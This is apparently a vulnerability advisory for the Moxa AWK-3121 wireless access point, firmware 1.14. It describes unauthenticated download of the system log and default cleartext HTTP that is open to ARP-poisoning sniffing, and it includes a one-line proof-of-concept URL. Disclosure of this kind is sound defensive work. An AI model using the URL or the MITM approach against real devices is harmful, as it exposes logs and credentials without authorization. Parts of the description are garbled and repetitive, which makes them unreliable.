TITLE

Moxa AWK-3121 Access Control Error Vulnerability

DESCRIPTION

An issue was discovered on Moxa AWK-3121 1.14 devices. It is intended that an administrator can download /systemlog.log (the system log). However, the same functionality allows an attacker to download the file without any authentication or authorization. Moxa AWK-3121 The device contains an access control vulnerability.Information may be obtained. MoxaAWK-3121 is an industrial-grade wireless access point for Moxa Corporation of Taiwan, China. An access control error vulnerability exists in Moxa's AWK-31211.14 release. The device by default allows HTTP traffic thus providing an insecure communication mechanism for a user connecting to the web server. This allows an attacker to sniff the traffic easily and allows an attacker to compromise sensitive data such as credentials. ------------------------------------------ [VulnerabilityType Other] HTTP traffic by default ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can sniff the HTTP traffic passing between the user and the device by using a MITM attack such as ARP poisoning. ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 2. ------------------------------------------ [Additional Information] POC http://192.168.127.253//systemlog.log ------------------------------------------ [Vulnerability Type] Incorrect Access Control ------------------------------------------ [Vendor of Product] Moxa ------------------------------------------ [Affected Product Code Base] AWK-3121 - 1.14 ------------------------------------------ [Affected Component] Web Server -- iw_webs (Goahead) ------------------------------------------ [Attack Type] Remote ------------------------------------------ [Impact Information Disclosure] true ------------------------------------------ [Attack Vectors] An attacker can navigate to URL and download the systemlog file without any authentication or authorization ------------------------------------------ [Reference] https://www.moxa.com/Event/Tech/2008/AWK-3121/index.htm ------------------------------------------ [Discoverer] Samuel Huntley 3.
